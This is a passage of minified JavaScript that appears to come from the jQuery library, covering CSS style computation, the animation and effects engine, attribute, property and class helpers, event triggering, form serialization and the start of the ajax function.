t=e.ownerDocument.defaultView;return t&&t.opener||(t=r),t.getComputedStyle(e)},Be=function(e,t,n){var r,i,a={};for(i in t)a[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=a[i];return r},qe=new RegExp(ae.join("|"),"i");function Ue(e,t,n){var r,i,a,o,s=e.style;return(n=n||ze(e))&&(""!==(o=n.getPropertyValue(t)||n[t])||se(e)||(o=k.style(e,t)),!_.pixelBoxStyles()&&Fe.test(o)&&qe.test(t)&&(r=s.width,i=s.minWidth,a=s.maxWidth,s.minWidth=s.maxWidth=s.width=o,o=n.width,s.width=r,s.minWidth=i,s.maxWidth=a)),void 0!==o?o+"":o}function Je(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(c){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",oe.appendChild(u).appendChild(c);var e=r.getComputedStyle(c);n="1%"!==e.top,l=12===t(e.marginLeft),c.style.right="60%",o=36===t(e.right),i=36===t(e.width),c.style.position="absolute",a=12===t(c.offsetWidth/3),oe.removeChild(u),c=null}}function t(e){return Math.round(parseFloat(e))}var n,i,a,o,s,l,u=v.createElement("div"),c=v.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",_.clearCloneStyle="content-box"===c.style.backgroundClip,k.extend(_,{boxSizingReliable:function(){return e(),i},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),l},scrollboxSize:function(){return e(),a},reliableTrDimensions:function(){var e,t,n,i;return null==s&&(e=v.createElement("table"),t=v.createElement("tr"),n=v.createElement("div"),e.style.cssText="position:absolute;left:-11111px",t.style.height="1px",n.style.height="9px",oe.appendChild(e).appendChild(t).appendChild(n),i=r.getComputedStyle(t),s=parseInt(i.height)>3,oe.removeChild(e)),s}}))}();var Ve=["Webkit","Moz","ms"],Ge=v.createElement("div").style,Ke={};function Ze(e){var t=k.cssProps[e]||Ke[e];return t||(e in Ge?e:Ke[e]=function(e){for(var t=e[0].toUpperCase()+e.slice(1),n=Ve.length;n--;)if((e=Ve[n]+t)in Ge)return e}(e)||e)}var Xe=/^(none|table(?!-c[ea]).+)/,Qe=/^--/,et={position:"absolute",visibility:"hidden",display:"block"},tt={letterSpacing:"0",fontWeight:"400"};function nt(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function rt(e,t,n,r,i,a){var o="width"===t?1:0,s=0,l=0;if(n===(r?"border":"content"))return 0;for(;o<4;o+=2)"margin"===n&&(l+=k.css(e,n+ae[o],!0,i)),r?("content"===n&&(l-=k.css(e,"padding"+ae[o],!0,i)),"margin"!==n&&(l-=k.css(e,"border"+ae[o]+"Width",!0,i))):(l+=k.css(e,"padding"+ae[o],!0,i),"padding"!==n?l+=k.css(e,"border"+ae[o]+"Width",!0,i):s+=k.css(e,"border"+ae[o]+"Width",!0,i));return!r&&a>=0&&(l+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-a-l-s-.5))||0),l}function it(e,t,n){var r=ze(e),i=(!_.boxSizingReliable()||n)&&"border-box"===k.css(e,"boxSizing",!1,r),a=i,o=Ue(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Fe.test(o)){if(!n)return o;o="auto"}return(!_.boxSizingReliable()&&i||!_.reliableTrDimensions()&&j(e,"tr")||"auto"===o||!parseFloat(o)&&"inline"===k.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===k.css(e,"boxSizing",!1,r),(a=s in e)&&(o=e[s])),(o=parseFloat(o)||0)+rt(e,t,n||(i?"border":"content"),a,r,o)+"px"}function at(e,t,n,r,i){return new at.prototype.init(e,t,n,r,i)}k.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Ue(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,a,o,s=G(t),l=Qe.test(t),u=e.style;if(l||(t=Ze(s)),o=k.cssHooks[t]||k.cssHooks[s],void 0===n)return o&&"get"in o&&void 0!==(i=o.get(e,!1,r))?i:u[t];"string"===(a=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ce(e,t,i),a="number"),null!=n&&n==n&&("number"!==a||l||(n+=i&&i[3]||(k.cssNumber[s]?"":"px")),_.clearCloneStyle||""!==n||0!==t.indexOf("background")||(u[t]="inherit"),o&&"set"in o&&void 0===(n=o.set(e,n,r))||(l?u.setProperty(t,n):u[t]=n))}},css:function(e,t,n,r){var i,a,o,s=G(t);return Qe.test(t)||(t=Ze(s)),(o=k.cssHooks[t]||k.cssHooks[s])&&"get"in o&&(i=o.get(e,!0,n)),void 0===i&&(i=Ue(e,t,r)),"normal"===i&&t in tt&&(i=tt[t]),""===n||n?(a=parseFloat(i),!0===n||isFinite(a)?a||0:i):i}}),k.each(["height","width"],(function(e,t){k.cssHooks[t]={get:function(e,n,r){if(n)return!Xe.test(k.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?it(e,t,r):Be(e,et,(function(){return it(e,t,r)}))},set:function(e,n,r){var i,a=ze(e),o=!_.scrollboxSize()&&"absolute"===a.position,s=(o||r)&&"border-box"===k.css(e,"boxSizing",!1,a),l=r?rt(e,t,r,s,a):0;return s&&o&&(l-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(a[t])-rt(e,t,"border",!1,a)-.5)),l&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=k.css(e,t)),nt(0,n,l)}}})),k.cssHooks.marginLeft=Je(_.reliableMarginLeft,(function(e,t){if(t)return(parseFloat(Ue(e,"marginLeft"))||e.getBoundingClientRect().left-Be(e,{marginLeft:0},(function(){return e.getBoundingClientRect().left})))+"px"})),k.each({margin:"",padding:"",border:"Width"},(function(e,t){k.cssHooks[e+t]={expand:function(n){for(var r=0,i={},a="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+ae[r]+t]=a[r]||a[r-2]||a[0];return i}},"margin"!==e&&(k.cssHooks[e+t].set=nt)})),k.fn.extend({css:function(e,t){return q(this,(function(e,t,n){var r,i,a={},o=0;if(Array.isArray(t)){for(r=ze(e),i=t.length;o<i;o++)a[t[o]]=k.css(e,t[o],!1,r);return a}return void 0!==n?k.style(e,t,n):k.css(e,t)}),e,t,arguments.length>1)}}),k.Tween=at,at.prototype={constructor:at,init:function(e,t,n,r,i,a){this.elem=e,this.prop=n,this.easing=i||k.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=a||(k.cssNumber[n]?"":"px")},cur:function(){var e=at.propHooks[this.prop];return e&&e.get?e.get(this):at.propHooks._default.get(this)},run:function(e){var t,n=at.propHooks[this.prop];return this.options.duration?this.pos=t=k.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):at.propHooks._default.set(this),this}},at.prototype.init.prototype=at.prototype,at.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=k.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){k.fx.step[e.prop]?k.fx.step[e.prop](e):1!==e.elem.nodeType||!k.cssHooks[e.prop]&&null==e.elem.style[Ze(e.prop)]?e.elem[e.prop]=e.now:k.style(e.elem,e.prop,e.now+e.unit)}}},at.propHooks.scrollTop=at.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},k.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},k.fx=at.prototype.init,k.fx.step={};var ot,st,lt=/^(?:toggle|show|hide)$/,ut=/queueHooks$/;function ct(){st&&(!1===v.hidden&&r.requestAnimationFrame?r.requestAnimationFrame(ct):r.setTimeout(ct,k.fx.interval),k.fx.tick())}function dt(){return r.setTimeout((function(){ot=void 0})),ot=Date.now()}function ft(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ae[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ht(e,t,n){for(var r,i=(mt.tweeners[t]||[]).concat(mt.tweeners["*"]),a=0,o=i.length;a<o;a++)if(r=i[a].call(n,t,e))return r}function mt(e,t,n){var r,i,a=0,o=mt.prefilters.length,s=k.Deferred().always((function(){delete l.elem})),l=function(){if(i)return!1;for(var t=ot||dt(),n=Math.max(0,u.startTime+u.duration-t),r=1-(n/u.duration||0),a=0,o=u.tweens.length;a<o;a++)u.tweens[a].run(r);return s.notifyWith(e,[u,r,n]),r<1&&o?n:(o||s.notifyWith(e,[u,1,0]),s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:k.extend({},t),opts:k.extend(!0,{specialEasing:{},easing:k.easing._default},n),originalProperties:t,originalOptions:n,startTime:ot||dt(),duration:n.duration,tweens:[],createTween:function(t,n){var r=k.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)u.tweens[n].run(1);return t?(s.notifyWith(e,[u,1,0]),s.resolveWith(e,[u,t])):s.rejectWith(e,[u,t]),this}}),c=u.props;for(!function(e,t){var n,r,i,a,o;for(n in e)if(i=t[r=G(n)],a=e[n],Array.isArray(a)&&(i=a[1],a=e[n]=a[0]),n!==r&&(e[r]=a,delete e[n]),(o=k.cssHooks[r])&&"expand"in o)for(n in a=o.expand(a),delete e[r],a)n in e||(e[n]=a[n],t[n]=i);else t[r]=i}(c,u.opts.specialEasing);a<o;a++)if(r=mt.prefilters[a].call(u,e,c,u.opts))return y(r.stop)&&(k._queueHooks(u.elem,u.opts.queue).stop=r.stop.bind(r)),r;return k.map(c,ht,u),y(u.opts.start)&&u.opts.start.call(e,u),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always),k.fx.timer(k.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u}k.Animation=k.extend(mt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ce(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){y(e)?(t=e,e=["*"]):e=e.match(I);for(var n,r=0,i=e.length;r<i;r++)n=e[r],mt.tweeners[n]=mt.tweeners[n]||[],mt.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,a,o,s,l,u,c,d="width"in t||"height"in t,f=this,h={},m=e.style,p=e.nodeType&&ue(e),_=X.get(e,"fxshow");for(r in n.queue||(null==(o=k._queueHooks(e,"fx")).unqueued&&(o.unqueued=0,s=o.empty.fire,o.empty.fire=function(){o.unqueued||s()}),o.unqueued++,f.always((function(){f.always((function(){o.unqueued--,k.queue(e,"fx").length||o.empty.fire()}))}))),t)if(i=t[r],lt.test(i)){if(delete t[r],a=a||"toggle"===i,i===(p?"hide":"show")){if("show"!==i||!_||void 0===_[r])continue;p=!0}h[r]=_&&_[r]||k.style(e,r)}if((l=!k.isEmptyObject(t))||!k.isEmptyObject(h))for(r in d&&1===e.nodeType&&(n.overflow=[m.overflow,m.overflowX,m.overflowY],null==(u=_&&_.display)&&(u=X.get(e,"display")),"none"===(c=k.css(e,"display"))&&(u?c=u:(he([e],!0),u=e.style.display||u,c=k.css(e,"display"),he([e]))),("inline"===c||"inline-block"===c&&null!=u)&&"none"===k.css(e,"float")&&(l||(f.done((function(){m.display=u})),null==u&&(c=m.display,u="none"===c?"":c)),m.display="inline-block")),n.overflow&&(m.overflow="hidden",f.always((function(){m.overflow=n.overflow[0],m.overflowX=n.overflow[1],m.overflowY=n.overflow[2]}))),l=!1,h)l||(_?"hidden"in _&&(p=_.hidden):_=X.access(e,"fxshow",{display:u}),a&&(_.hidden=!p),p&&he([e],!0),f.done((function(){for(r in p||he([e]),X.remove(e,"fxshow"),h)k.style(e,r,h[r])}))),l=ht(p?_[r]:0,r,f),r in _||(_[r]=l.start,p&&(l.end=l.start,l.start=0))}],prefilter:function(e,t){t?mt.prefilters.unshift(e):mt.prefilters.push(e)}}),k.speed=function(e,t,n){var r=e&&"object"==typeof e?k.extend({},e):{complete:n||!n&&t||y(e)&&e,duration:e,easing:n&&t||t&&!y(t)&&t};return k.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in k.fx.speeds?r.duration=k.fx.speeds[r.duration]:r.duration=k.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){y(r.old)&&r.old.call(this),r.queue&&k.dequeue(this,r.queue)},r},k.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ue).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=k.isEmptyObject(e),a=k.speed(t,n,r),o=function(){var t=mt(this,k.extend({},e),a);(i||X.get(this,"finish"))&&t.stop(!0)};return o.finish=o,i||!1===a.queue?this.each(o):this.queue(a.queue,o)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&this.queue(e||"fx",[]),this.each((function(){var t=!0,i=null!=e&&e+"queueHooks",a=k.timers,o=X.get(this);if(i)o[i]&&o[i].stop&&r(o[i]);else for(i in o)o[i]&&o[i].stop&&ut.test(i)&&r(o[i]);for(i=a.length;i--;)a[i].elem!==this||null!=e&&a[i].queue!==e||(a[i].anim.stop(n),t=!1,a.splice(i,1));!t&&n||k.dequeue(this,e)}))},finish:function(e){return!1!==e&&(e=e||"fx"),this.each((function(){var t,n=X.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],a=k.timers,o=r?r.length:0;for(n.finish=!0,k.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=a.length;t--;)a[t].elem===this&&a[t].queue===e&&(a[t].anim.stop(!0),a.splice(t,1));for(t=0;t<o;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish}))}}),k.each(["toggle","show","hide"],(function(e,t){var n=k.fn[t];k.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ft(t,!0),e,r,i)}})),k.each({slideDown:ft("show"),slideUp:ft("hide"),slideToggle:ft("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},(function(e,t){k.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}})),k.timers=[],k.fx.tick=function(){var e,t=0,n=k.timers;for(ot=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||k.fx.stop(),ot=void 0},k.fx.timer=function(e){k.timers.push(e),k.fx.start()},k.fx.interval=13,k.fx.start=function(){st||(st=!0,ct())},k.fx.stop=function(){st=null},k.fx.speeds={slow:600,fast:200,_default:400},k.fn.delay=function(e,t){return e=k.fx&&k.fx.speeds[e]||e,t=t||"fx",this.queue(t,(function(t,n){var i=r.setTimeout(t,e);n.stop=function(){r.clearTimeout(i)}}))},function(){var e=v.createElement("input"),t=v.createElement("select").appendChild(v.createElement("option"));e.type="checkbox",_.checkOn=""!==e.value,_.optSelected=t.selected,(e=v.createElement("input")).value="t",e.type="radio",_.radioValue="t"===e.value}();var pt,_t=k.expr.attrHandle;k.fn.extend({attr:function(e,t){return q(this,k.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each((function(){k.removeAttr(this,e)}))}}),k.extend({attr:function(e,t,n){var r,i,a=e.nodeType;if(3!==a&&8!==a&&2!==a)return void 0===e.getAttribute?k.prop(e,t,n):(1===a&&k.isXMLDoc(e)||(i=k.attrHooks[t.toLowerCase()]||(k.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void k.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=k.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!_.radioValue&&"radio"===t&&j(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(I);if(i&&1===e.nodeType)for(;n=i[r++];)e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?k.removeAttr(e,n):e.setAttribute(n,n),n}},k.each(k.expr.match.bool.source.match(/\w+/g),(function(e,t){var n=_t[t]||k.find.attr;_t[t]=function(e,t,r){var i,a,o=t.toLowerCase();return r||(a=_t[o],_t[o]=i,i=null!=n(e,t,r)?o:null,_t[o]=a),i}}));var yt=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(I)||[]).join(" ")}function bt(e){return e.getAttribute&&e.getAttribute("class")||""}function wt(e){return Array.isArray(e)?e:"string"==typeof e&&e.match(I)||[]}k.fn.extend({prop:function(e,t){return q(this,k.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each((function(){delete this[k.propFix[e]||e]}))}}),k.extend({prop:function(e,t,n){var r,i,a=e.nodeType;if(3!==a&&8!==a&&2!==a)return 1===a&&k.isXMLDoc(e)||(t=k.propFix[t]||t,i=k.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=k.find.attr(e,"tabindex");return t?parseInt(t,10):yt.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{for:"htmlFor",class:"className"}}),_.optSelected||(k.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),k.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],(function(){k.propFix[this.toLowerCase()]=this})),k.fn.extend({addClass:function(e){var t,n,r,i,a,o,s,l=0;if(y(e))return this.each((function(t){k(this).addClass(e.call(this,t,bt(this)))}));if((t=wt(e)).length)for(;n=this[l++];)if(i=bt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(o=0;a=t[o++];)r.indexOf(" "+a+" ")<0&&(r+=a+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,a,o,s,l=0;if(y(e))return this.each((function(t){k(this).removeClass(e.call(this,t,bt(this)))}));if(!arguments.length)return this.attr("class","");if((t=wt(e)).length)for(;n=this[l++];)if(i=bt(n),r=1===n.nodeType&&" "+vt(i)+" "){for(o=0;a=t[o++];)for(;r.indexOf(" "+a+" ")>-1;)r=r.replace(" "+a+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):y(e)?this.each((function(n){k(this).toggleClass(e.call(this,n,bt(this),t),t)})):this.each((function(){var t,i,a,o;if(r)for(i=0,a=k(this),o=wt(e);t=o[i++];)a.hasClass(t)?a.removeClass(t):a.addClass(t);else void 0!==e&&"boolean"!==n||((t=bt(this))&&X.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":X.get(this,"__className__")||""))}))},hasClass:function(e){var t,n,r=0;for(t=" "+e+" ";n=this[r++];)if(1===n.nodeType&&(" "+vt(bt(n))+" ").indexOf(t)>-1)return!0;return!1}});var Mt=/\r/g;k.fn.extend({val:function(e){var t,n,r,i=this[0];return arguments.length?(r=y(e),this.each((function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,k(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=k.map(i,(function(e){return null==e?"":e+""}))),(t=k.valHooks[this.type]||k.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))}))):i?(t=k.valHooks[i.type]||k.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(Mt,""):null==n?"":n:void 0}}),k.extend({valHooks:{option:{get:function(e){var t=k.find.attr(e,"value");return null!=t?t:vt(k.text(e))}},select:{get:function(e){var t,n,r,i=e.options,a=e.selectedIndex,o="select-one"===e.type,s=o?null:[],l=o?a+1:i.length;for(r=a<0?l:o?a:0;r<l;r++)if(((n=i[r]).selected||r===a)&&!n.disabled&&(!n.parentNode.disabled||!j(n.parentNode,"optgroup"))){if(t=k(n).val(),o)return t;s.push(t)}return s},set:function(e,t){for(var n,r,i=e.options,a=k.makeArray(t),o=i.length;o--;)((r=i[o]).selected=k.inArray(k.valHooks.option.get(r),a)>-1)&&(n=!0);return n||(e.selectedIndex=-1),a}}}}),k.each(["radio","checkbox"],(function(){k.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=k.inArray(k(e).val(),t)>-1}},_.checkOn||(k.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})})),_.focusin="onfocusin"in r;var Lt=/^(?:focusinfocus|focusoutblur)$/,kt=function(e){e.stopPropagation()};k.extend(k.event,{trigger:function(e,t,n,i){var a,o,s,l,u,c,d,f,m=[n||v],p=h.call(e,"type")?e.type:e,_=h.call(e,"namespace")?e.namespace.split("."):[];if(o=f=s=n=n||v,3!==n.nodeType&&8!==n.nodeType&&!Lt.test(p+k.event.triggered)&&(p.indexOf(".")>-1&&(_=p.split("."),p=_.shift(),_.sort()),u=p.indexOf(":")<0&&"on"+p,(e=e[k.expando]?e:new k.Event(p,"object"==typeof e&&e)).isTrigger=i?2:3,e.namespace=_.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+_.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:k.makeArray(t,[e]),d=k.event.special[p]||{},i||!d.trigger||!1!==d.trigger.apply(n,t))){if(!i&&!d.noBubble&&!g(n)){for(l=d.delegateType||p,Lt.test(l+p)||(o=o.parentNode);o;o=o.parentNode)m.push(o),s=o;s===(n.ownerDocument||v)&&m.push(s.defaultView||s.parentWindow||r)}for(a=0;(o=m[a++])&&!e.isPropagationStopped();)f=o,e.type=a>1?l:d.bindType||p,(c=(X.get(o,"events")||Object.create(null))[e.type]&&X.get(o,"handle"))&&c.apply(o,t),(c=u&&o[u])&&c.apply&&K(o)&&(e.result=c.apply(o,t),!1===e.result&&e.preventDefault());return e.type=p,i||e.isDefaultPrevented()||d._default&&!1!==d._default.apply(m.pop(),t)||!K(n)||u&&y(n[p])&&!g(n)&&((s=n[u])&&(n[u]=null),k.event.triggered=p,e.isPropagationStopped()&&f.addEventListener(p,kt),n[p](),e.isPropagationStopped()&&f.removeEventListener(p,kt),k.event.triggered=void 0,s&&(n[u]=s)),e.result}},simulate:function(e,t,n){var r=k.extend(new k.Event,n,{type:e,isSimulated:!0});k.event.trigger(r,null,t)}}),k.fn.extend({trigger:function(e,t){return this.each((function(){k.event.trigger(e,t,this)}))},triggerHandler:function(e,t){var n=this[0];if(n)return k.event.trigger(e,t,n,!0)}}),_.focusin||k.each({focus:"focusin",blur:"focusout"},(function(e,t){var n=function(e){k.event.simulate(t,e.target,k.event.fix(e))};k.event.special[t]={setup:function(){var r=this.ownerDocument||this.document||this,i=X.access(r,t);i||r.addEventListener(e,n,!0),X.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this.document||this,i=X.access(r,t)-1;i?X.access(r,t,i):(r.removeEventListener(e,n,!0),X.remove(r,t))}}}));var Yt=r.location,Dt={guid:Date.now()},Tt=/\?/;k.parseXML=function(e){var t;if(!e||"string"!=typeof e)return null;try{t=(new r.DOMParser).parseFromString(e,"text/xml")}catch(e){t=void 0}return t&&!t.getElementsByTagName("parsererror").length||k.error("Invalid XML: "+e),t};var xt=/\[\]$/,St=/\r?\n/g,jt=/^(?:submit|button|image|reset|file)$/i,Ot=/^(?:input|select|textarea|keygen)/i;function Ct(e,t,n,r){var i;if(Array.isArray(t))k.each(t,(function(t,i){n||xt.test(e)?r(e,i):Ct(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)}));else if(n||"object"!==M(t))r(e,t);else for(i in t)Ct(e+"["+i+"]",t[i],n,r)}k.param=function(e,t){var n,r=[],i=function(e,t){var n=y(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(null==e)return"";if(Array.isArray(e)||e.jquery&&!k.isPlainObject(e))k.each(e,(function(){i(this.name,this.value)}));else for(n in e)Ct(n,e[n],t,i);return r.join("&")},k.fn.extend({serialize:function(){return k.param(this.serializeArray())},serializeArray:function(){return this.map((function(){var e=k.prop(this,"elements");return e?k.makeArray(e):this})).filter((function(){var e=this.type;return this.name&&!k(this).is(":disabled")&&Ot.test(this.nodeName)&&!jt.test(e)&&(this.checked||!_e.test(e))})).map((function(e,t){var n=k(this).val();return null==n?null:Array.isArray(n)?k.map(n,(function(e){return{name:t.name,value:e.replace(St,"\r\n")}})):{name:t.name,value:n.replace(St,"\r\n")}})).get()}});var Ht=/%20/g,Et=/#.*$/,Pt=/([?&])_=[^&]*/,At=/^(.*?):[ \t]*([^\r\n]*)$/gm,Rt=/^(?:GET|HEAD)$/,It=/^\/\//,Wt={},Nt={},$t="*/".concat("*"),Ft=v.createElement("a");function zt(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,a=t.toLowerCase().match(I)||[];if(y(n))for(;r=a[i++];)"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function Bt(e,t,n,r){var i={},a=e===Nt;function o(s){var l;return i[s]=!0,k.each(e[s]||[],(function(e,s){var u=s(t,n,r);return"string"!=typeof u||a||i[u]?a?!(l=u):void 0:(t.dataTypes.unshift(u),o(u),!1)})),l}return o(t.dataTypes[0])||!i["*"]&&o("*")}function qt(e,t){var n,r,i=k.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&k.extend(!0,e,r),e}Ft.href=Yt.href,k.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Yt.href,type:"GET",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Yt.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":$t,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":k.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?qt(qt(e,k.ajaxSettings),t):qt(k.ajaxSettings,e)},ajaxPrefilter:zt(Wt),ajaxTransport:zt(Nt),ajax:function(e,t){"object"==typeof e&&(t=e,e=void 0),t=t||{};var n,i,a,o,s,l,u,c,d,f,h=k.ajaxSetup({},t),m=h.context||h,p=h.context&&(m.nodeType||m.jquery)?k(m):k.event,_=k.Deferred(),y=k.Callbacks("once memory"),g=h.statusCode||{},b={},w={},M="canceled",L={readyState:0,getResponseHeader:function(e){var t;if(u){if(!o)for(o={};t=At.exec(a);)o[t[1].toLowerCase()+" "]=(o[t[1].toLowerCase()+" "]||[]).concat(t[2]);t=o[e.toLowerCase()+" "]}return null==t?null:t.join(", ")},getAllResponseHeaders:function(){return u?a:null},setRequestHeader:function(e,t){return null==u&&(e=w[e.toLowerCase()]=w[e.toLowerCase()]||e,b[e]=t),this},overrideMimeType:function(e){return null==u&&(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(u)L.always(e[L.status]);else for(t in e)g[t]=[g[t],e[t]];return this},abort:function(e){var t=e||M;return n&&n.abort(t),Y(0,t),this}};if(_.promise(L),h.url=((e||h.url||Yt.href)+"").replace(It,Yt.protocol+"//"),h.type=t.method||t.type||h.method||h.type,h.dataTypes=(h.dataType||"*").toLowerCase().match(I)||[""],null==h.crossDomain){l=v.createElement("a");try{l.href=h.url,l.href=l.href,h.crossDomain=Ft.protocol+"//"+Ft.host!=l.protocol+"//"+l.host}catch(e){h.crossDomain=!0}}if(h.data&&h.processData&&"string"!=typeof h.data&&(h.data=k.param(h.data,h.traditional)),Bt(Wt,h,t,L),u)return L;for(d in(c=k.event&&h.global)&&0==k.active++&&k.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Rt.test(h.type),i=h.url.replace(Et,""),h.hasContent?h.data&&h.processData&&0===(h.contentType||"").indexOf("application/x-www-form-urlencoded")&&(h.data=h.data.replace(Ht,"+")):(f=h.url.slice(i.length),h.data&&(h.processData||"string"==typeof h.data)&&(i+=(Tt.test(i)?"&":"?")+h.data,delete 